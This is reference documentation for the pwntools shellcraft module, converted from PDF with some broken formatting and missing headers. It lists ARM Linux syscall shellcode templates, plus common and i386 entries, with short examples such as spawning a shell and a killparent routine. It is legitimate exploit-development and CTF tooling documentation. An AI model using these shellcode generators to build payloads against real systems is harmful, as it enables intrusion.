pwnlib.shellcraft.arm.linux.getrlimit(resource, rlimits)

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.arm.linux.getrusage(who, usage)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- who (rusage_who_t) who
- usage (rusage) usage

pwnlib.shellcraft.arm.linux.getsid(pid)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.arm.linux.getsockname(fd, addr, length)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

- **fd** (int) fd
- addr (SOCKADDR ARG) addr
- len (socklen t) len

pwnlib.shellcraft.arm.linux.getsockopt (fd, level, optname, optval, optlen) Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd**(int)-fd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (socklen_t) optlen

pwnlib.shellcraft.arm.linux.gettimeofday (tv, tz)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- tv(timeval) tv
- tz(timezone_ptr_t)-tz

pwnlib.shellcraft.arm.linux.getuid()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.gtty(fd, params)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd**(int)-fd
- params (sgttyb) params

pwnlib.shellcraft.arm.linux.ioctl(fd, request, vararg)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- fd(int)-fd
- request (unsigned) request
- **vararg** (*int*) vararg

pwnlib.shellcraft.arm.linux.ioperm(from_, num, turn_on)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- from (unsigned) from
- num (unsigned) num
- **turn_on** (*int*) **turn_on**

 $\verb|pwnlib.shellcraft.arm.linux.iopl| (level)$

Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters level (int) - level

pwnlib.shellcraft.arm.linux.kill(pid, sig)

Invokes the syscall kill. See 'man 2 kill' for more information.

- **pid** (pid_t) **pid**
- **sig** (int) sig

pwnlib.shellcraft.arm.linux.killparent()

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.arm.linux.lchown(file, owner, group)

Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- file (char) file
- owner (uid_t) owner
- **group** (gid_t) group

pwnlib.shellcraft.arm.linux.link(from_, to)

Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- from (char) from
- **to** (char) to

pwnlib.shellcraft.arm.linux.linkat(fromfd, from_, tofd, to, flags)

Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- fromfd(int) fromfd
- from (char) from
- tofd(int)-tofd
- **to** (char) to
- flags (int) flags

pwnlib.shellcraft.arm.linux.listen(fd, n)

Invokes the syscall listen. See 'man 2 listen' for more information.

Parameters

- **fd** (int) fd
- **n**(int)-n

pwnlib.shellcraft.arm.linux.lseek (fd, offset, whence)

Invokes the syscall lseek. See 'man 2 lseek' for more information.

Parameters

- **fd** (int) fd
- offset (off_t) offset
- whence (int) whence

pwnlib.shellcraft.arm.linux.lstat(file, buf)

Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

• file (char) - file

• buf (stat) - buf

pwnlib.shellcraft.arm.linux.lstat64(file, buf)

Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.arm.linux.madvise(addr, length, advice)

Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- addr (void) addr
- len (size_t) len
- advice (int) advice

pwnlib.shellcraft.arm.linux.mincore(start, length, vec)

Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- start (void) start
- **len** (*size_t*) len
- **vec** (unsigned) **vec**

pwnlib.shellcraft.arm.linux.mkdir(path, mode)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- path (char) path
- mode (mode_t) mode

pwnlib.shellcraft.arm.linux.mkdirat(fd, path, mode)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- fd(int)-fd
- path (char) path
- mode (mode t) mode

pwnlib.shellcraft.arm.linux.mknod(path, mode, dev)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.arm.linux.mknodat (fd, path, mode, dev)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

- **fd** (int) fd
- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.arm.linux.mlock(addr, length)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.arm.linux.mlockall(flags)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.arm.linux.mmap (addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0) Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- addr (void) addr
- length (size_t) length
- prot (int) prot
- flags (int) flags
- **fd** (int) fd
- offset (off t) offset

pwnlib.shellcraft.arm.linux.mprotect(addr, length, prot)

Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- addr (void) addr
- length (size_t) length
- **prot** (int) prot

 $\verb|pwnlib.shellcraft.arm.linux.mq_notify| (\textit{mqdes}, \textit{notification})$

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- mqdes (mqd_t) mqdes
- notification (signification) notification

pwnlib.shellcraft.arm.linux.mq_open(name, oflag, vararg)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

- name (char) name
- oflag(int) oflag
- vararg (int) vararg

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio(unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio (unsigned) msg_prio
- abs timeout (timespec) abs timeout

pwnlib.shellcraft.arm.linux.mq_unlink(name)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters name (char) - name

Parameters

- addr (void) addr
- old_len (size_t) old_len
- new_len (size_t) new_len
- flags (int) flags
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.msync(addr, length, flags)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- addr (void) addr
- len(size t)-len
- flags (int) flags

pwnlib.shellcraft.arm.linux.munlock(addr, length)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

• addr (void) - addr

• len (size t) - len

pwnlib.shellcraft.arm.linux.munlockall()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.munmap(addr, length)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- addr (void) addr
- length (size_t) length

pwnlib.shellcraft.arm.linux.nanosleep(requested_time, remaining)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- requested_time (timespec) requested_time
- remaining (timespec) remaining

pwnlib.shellcraft.arm.linux.nice(inc)

Invokes the syscall nice. See 'man 2 nice' for more information.

Parameters inc (int) - inc

pwnlib.shellcraft.arm.linux.open(file, oflag, vararg)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- file (char) file
- oflag(int)-oflag
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.open_file (filepath, flags='O_RDONLY', mode=420) Opens a file. Leaves the file descriptor in r0.

Parameters

- **filepath** (*str*) The file to open.
- flags (int/str) The flags to call open with.
- mode (int/str) The attribute to create the flag. Only matters of flags & O_CREAT is set.

pwnlib.shellcraft.arm.linux.openat(fd, file, oflag, vararg)

Invokes the syscall openat. See 'man 2 openat' for more information.

- **fd** (int) fd
- file (char) file
- oflag(int) oflag
- vararg (int) vararg

pwnlib.shellcraft.arm.linux.pause()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.pipe (pipedes)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters pipedes (int) - pipedes

pwnlib.shellcraft.arm.linux.pipe2 (pipedes, flags)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- pipedes (int) pipedes
- flags (int) flags

pwnlib.shellcraft.arm.linux.poll(fds, nfds, timeout)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (int) timeout

pwnlib.shellcraft.arm.linux.**ppoll** (*fds*, *nfds*, *timeout*, *ss*) Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (timespec) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.arm.linux.prctl(option, *vararg)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- option (int) option
- **vararg** (*int*) vararg

pwnlib.shellcraft.arm.linux.pread(fd, buf, nbytes, offset)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (int) fd
- buf (void) buf
- **nbytes** (size_t) **nbytes**
- **offset** (off_t) offset

pwnlib.shellcraft.arm.linux.preadv(fd, iovec, count, offset)

Invokes the syscall pready. See 'man 2 pready' for more information.

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.arm.linux.prlimit64 (pid, resource, new_limit, old_limit) Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (pid_t) **pid**
- resource (rlimit_resource) resource
- new_limit (rlimit64) new_limit
- old_limit (rlimit64) old_limit

pwnlib.shellcraft.arm.linux.**profil** (*sample_buffer*, *size*, *offset*, *scale*) Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- sample_buffer (unsigned) sample_buffer
- **size** (*size_t*) **size**
- **offset** (*size_t*) offset
- scale (unsigned) scale

pwnlib.shellcraft.arm.linux.ptrace(request, *vararg)
Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- request (ptrace_request) request
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.putpmsg (fildes, ctlptr, dataptr, band, flags)
Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr(strbuf)-ctlptr
- dataptr (strbuf) dataptr
- band (int) band
- flags (int) flags

pwnlib.shellcraft.arm.linux.pwrite (fd, buf, n, offset)
Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

- fd(int)-fd
- **buf** (void) buf
- **n**(size_t)-n
- offset (off t) offset

pwnlib.shellcraft.arm.linux.pwritev (fd, iovec, count, offset) Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.arm.linux.read(fd, buf, nbytes)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- fd(int)-fd
- buf (void) buf
- **nbytes** (size_t) **nbytes**

pwnlib.shellcraft.arm.linux.readahead(fd, offset, count)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (int) fd
- offset (off64 t) offset
- count (size_t) count

pwnlib.shellcraft.arm.linux.readdir(dirp)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

pwnlib.shellcraft.arm.linux.readlink(path, buf, length)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- path (char) path
- buf (char) buf
- len $(size_t)$ len

pwnlib.shellcraft.arm.linux.readlinkat(fd, path, buf, length)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (int) fd
- path (char) path
- buf (char) buf
- **len** (*size_t*) len

pwnlib.shellcraft.arm.linux.readv(fd, iovec, count)

Invokes the syscall ready. See 'man 2 ready' for more information.

Parameters

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- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.arm.linux.recv(fd, buf, n, flags)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- fd(int)-fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags

pwnlib.shellcraft.arm.linux.recvfrom (fd, buf, n, flags, addr, addr_len) Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags
- addr (SOCKADDR ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.arm.linux.recvmmsg (fd, vmessages, vlen, flags, tmo) Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd** (int) fd
- vmessages (mmsghdr) vmessages
- vlen (unsigned) vlen
- flags (int) flags
- tmo (timespec) tmo

pwnlib.shellcraft.arm.linux.recvmsg(fd, message, flags)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd** (int) fd
- message (msghdr) message
- flags (int) flags

pwnlib.shellcraft.arm.linux.remap_file_pages (start, size, prot, pgoff, flags)
Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

- start (void) start
- size (size t) size

- prot (int) prot
- pgoff (size_t) pgoff
- flags (int) flags

pwnlib.shellcraft.arm.linux.rename(old, new)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- old (char) old
- new (char) new

pwnlib.shellcraft.arm.linux.renameat(oldfd, old, newfd, new)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- oldfd(int) oldfd
- old (char) old
- newfd (int) newfd
- new (char) new

pwnlib.shellcraft.arm.linux.rmdir(path)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

pwnlib.shellcraft.arm.linux.sched_get_priority_max(algorithm)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

pwnlib.shellcraft.arm.linux.sched_get_priority_min(algorithm)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

pwnlib.shellcraft.arm.linux.sched_getaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.arm.linux.sched_getparam(pid, param)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **pid** (pid_t) **pid**
- param (sched_param) param

pwnlib.shellcraft.arm.linux.sched_getscheduler(pid)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.arm.linux.sched_rr_get_interval(pid, t)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (pid_t) **pid**
- t(timespec) t

pwnlib.shellcraft.arm.linux.sched_setaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched setaffinity. See 'man 2 sched setaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- **cpuset** (cpu_set_t) cpuset

pwnlib.shellcraft.arm.linux.sched_setparam(pid, param)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (pid t) **pid**
- param (sched_param) param

pwnlib.shellcraft.arm.linux.sched_setscheduler(pid, policy, param)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (pid_t) **pid**
- policy (int) policy
- param (sched_param) param

pwnlib.shellcraft.arm.linux.sched_yield()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.select(nfds, readfds, writefds, exceptfds, timeout)

Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- **nfds** (int) nfds
- readfds (fd set) readfds
- writefds (fd_set) writefds
- exceptfds (fd_set) exceptfds
- timeout (timeval) timeout

pwnlib.shellcraft.arm.linux.sendfile(out_fd, in_fd, offset, count)

Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

- out_fd(int) out_fd
- in fd(int)-in fd

- offset (off_t) offset
- count (size_t) count

pwnlib.shellcraft.arm.linux.sendfile64(out_fd, in_fd, offset, count)

Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- out_fd (int) out_fd
- in_fd(int)-in_fd
- offset (off64_t) offset
- count (size_t) count

pwnlib.shellcraft.arm.linux.setdomainname(name, length)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.arm.linux.setgid(gid)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters
$$gid(gid_t) - gid$$

pwnlib.shellcraft.arm.linux.setgroups(n, groups)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- n(size_t)-n
- **groups** (gid_t) groups

 $\verb|pwnlib.shellcraft.arm.linux.sethostname| (\textit{name}, \textit{length})|$

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.arm.linux.setitimer(which, new, old)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- which (itimer_which_t) which
- new(itimerval)-new
- old(itimerval)-old

 $\verb|pwnlib.shellcraft.arm.linux.setpgid|(pid, pgid)|$

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

- **pid** (pid_t) **pid**
- pgid (pid_t) pgid

pwnlib.shellcraft.arm.linux.setpriority(which, who, prio)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- which (priority which t) which
- **who** (*id_t*) who
- prio (int) prio

pwnlib.shellcraft.arm.linux.setregid(rgid, egid)

Invokes the syscall setregid. See 'man 2 setregid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- egid (qid_t) egid

pwnlib.shellcraft.arm.linux.setresgid(rgid, egid, sgid)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- rgid (gid_t) rgid
- egid (gid_t) egid
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.arm.linux.setresuid(ruid, euid, suid)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- **euid** (*uid_t*) **euid**
- **suid** (*uid_t*) **suid**

pwnlib.shellcraft.arm.linux.setreuid(ruid, euid)

Invokes the syscall setreuid. See 'man 2 setreuid' for more information.

Parameters

- ruid(uid t) ruid
- euid(uid t) euid

pwnlib.shellcraft.arm.linux.setrlimit(resource, rlimits)

Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.arm.linux.setsid()

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.setsockopt (sockfd, level, optname, optval, optlen) Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

- sockfd(int) sockfd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (int) optlen

pwnlib.shellcraft.arm.linux.setsockopt_timeout (sock, secs)

Invokes the syscall for setsockopt with specified timeout. See 'man 2 setsockopt' for more information.

Parameters

- sock (int) sock
- secs (int) secs

pwnlib.shellcraft.arm.linux.settimeofday(tv, tz)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- tv (timeval) tv
- tz(timezone) tz

pwnlib.shellcraft.arm.linux.setuid(uid)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters uid (uid_t) - uid

pwnlib.shellcraft.arm.linux.sh()

Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.arm.linux.sigaction(sig, act, oact)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (int) sig
- act (sigaction) act
- oact (sigaction) oact

pwnlib.shellcraft.arm.linux.sigaltstack(ss, oss)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- ss(sigaltstack) ss
- oss(sigaltstack)-oss

pwnlib.shellcraft.arm.linux.signal(sig, handler)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

• **sig** (int) - sig

• handler (sighandler_t) - handler

pwnlib.shellcraft.arm.linux.sigpending(set)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters set (sigset_t) - set

pwnlib.shellcraft.arm.linux.sigprocmask(how, set, oset)

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (int) how
- **set** (sigset_t) set
- oset (sigset_t) oset

pwnlib.shellcraft.arm.linux.sigreturn()

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

pwnlib.shellcraft.arm.linux.sigsuspend(set)

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

Parameters set (sigset_t) – set

pwnlib.shellcraft.arm.linux.**splice** (*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*)
Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- fdin (int) fdin
- **offin** (off64_t) offin
- **fdout** (*int*) **fdout**
- **offout** (off64_t) offout
- len (size t) len
- flags (unsigned) flags

pwnlib.shellcraft.arm.linux.stat(file, buf)

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- file (char) file
- buf (stat) buf

pwnlib.shellcraft.arm.linux.stat64(file, buf)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.arm.linux.stime(when)

Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters when (time_t) - when

pwnlib.shellcraft.arm.linux.stty(fd, params)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (int) fd
- params (sgttyb) params

pwnlib.shellcraft.arm.linux.symlink(from_, to)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- from (char) from
- to (char) to

pwnlib.shellcraft.arm.linux.symlinkat(from_, tofd, to)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- from (char) from
- tofd(int)-tofd
- to (char) to

pwnlib.shellcraft.arm.linux.sync()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.sync_file_range (fd, offset, count, flags)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd**(int)-fd
- offset (off64_t) offset
- **count** (off64_t) count
- flags (unsigned) flags

pwnlib.shellcraft.arm.linux.**syscall**(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov r0, #1
    mov r1, sp
    mov r2, #2
    eor r3, r3 /* 0 (#0) */
    mov r7, #0xb
    svc 0
>>> print shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor r0, r0 /* 0 (#0) */
```

pwnlib.shellcraft.arm.linux.syslog(pri,fmt, vararg)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- pri (int) pri
- fmt (char) fmt
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.tee (fdin, fdout, length, flags)

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- fdin (int) fdin
- **fdout** (int) fdout
- len (size_t) len
- flags (unsigned) flags

pwnlib.shellcraft.arm.linux.time(timer)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters timer (time_t) - timer

pwnlib.shellcraft.arm.linux.timer_create(clock_id, evp, timerid)

Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- clock id (clockid t) clock id
- evp (sigevent) evp
- timerid(timer_t) timerid

pwnlib.shellcraft.arm.linux.timer_delete(timerid)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.arm.linux.timer_getoverrun(timerid)

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.arm.linux.timer_gettime(timerid, value)

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- timerid(timer t) timerid
- value (itimerspec) value

pwnlib.shellcraft.arm.linux.timer_settime(timerid, flags, value, ovalue)

Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.

Parameters

• timerid(timer_t) - timerid

- flags (int) flags
- value (itimerspec) value
- ovalue (itimerspec) ovalue

pwnlib.shellcraft.arm.linux.truncate(file, length)

Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- file (char) file
- length (off_t) length

pwnlib.shellcraft.arm.linux.truncate64 (file, length)

Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- file (char) file
- length (off64_t) length

pwnlib.shellcraft.arm.linux.ulimit(cmd, vararg)

Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- cmd (int) cmd
- **vararg** (int) vararg

pwnlib.shellcraft.arm.linux.umask(mask)

Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters mask (mode_t) - mask

pwnlib.shellcraft.arm.linux.uname(name)

Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters name (utsname) - name

pwnlib.shellcraft.arm.linux.unlink(name)

Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters name (char) – name

pwnlib.shellcraft.arm.linux.unlinkat(fd, name, flag)

Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- fd(int)-fd
- name (char) name
- flag(int)-flag

pwnlib.shellcraft.arm.linux.unshare(flags)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.arm.linux.ustat(dev, ubuf)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

154

- **dev** (dev t) dev
- ubuf (ustat) ubuf

pwnlib.shellcraft.arm.linux.utime (file, file_times)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- file (char) file
- file_times (utimbuf) file_times

pwnlib.shellcraft.arm.linux.utimensat(fd, path, times, flags)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **fd** (int) fd
- path (char) path
- times (timespec) times
- flags (int) flags

pwnlib.shellcraft.arm.linux.utimes (file, tvp)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.arm.linux.vfork()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.vhangup()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.vmsplice(fdout, iov, count, flags)

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- fdout (int) fdout
- iov (iovec) iov
- count (size_t) count
- flags (unsigned) flags

pwnlib.shellcraft.arm.linux.wait4(pid, stat_loc, options, usage)

Invokes the syscall wait4. See 'man 2 wait4' for more information.

- **pid** (pid_t) **pid**
- stat_loc (WAIT_STATUS) stat_loc
- options (int) options

• usage (rusage) - usage

pwnlib.shellcraft.arm.linux.waitid(idtype, id, infop, options)
Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- idtype (idtype_t) idtype
- id (id_t) id
- infop (siginfo_t) infop
- options (int) options

pwnlib.shellcraft.arm.linux.waitpid(pid, stat_loc, options)
Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc(int) stat_loc
- options (int) options

pwnlib.shellcraft.arm.linux.write(fd, buf, n)

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- n(size_t)-n

pwnlib.shellcraft.arm.linux.writev(fd, iovec, count)

Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- fd(int)-fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.common — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

pwnlib.shellcraft.common.label(prefix='label')
Returns a new unique label with a given prefix.

Parameters prefix (str) – The string to prefix the label with

pwnlib.shellcraft.i386 — Shellcode for Intel 80386

pwnlib.shellcraft.i386

Shellcraft module containing generic Intel i386 shellcodes.

```
pwnlib.shellcraft.i386.breakpoint()
    A single-byte breakpoint instruction.
pwnlib.shellcraft.i386.crash()
    Crash.
```

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

```
pwnlib.shellcraft.i386.epilog(nargs=0)
```

Function epilogue.

Parameters nargs(int) – Number of arguments to pop off the stack.

```
\verb|pwnlib.shellcraft.i386. \textbf{function}| (\textit{name}, \textit{template\_function}, \textit{*registers})|
```

Converts a shellcraft template into a callable function.

Parameters

- **template_sz** (*callable*) Rendered shellcode template. Any variable Arguments should be supplied as registers.
- name (str) Name of the function.
- **registers** (*list*) List of registers which should be filled from the stack.

```
>>> shellcode = '''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )
>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
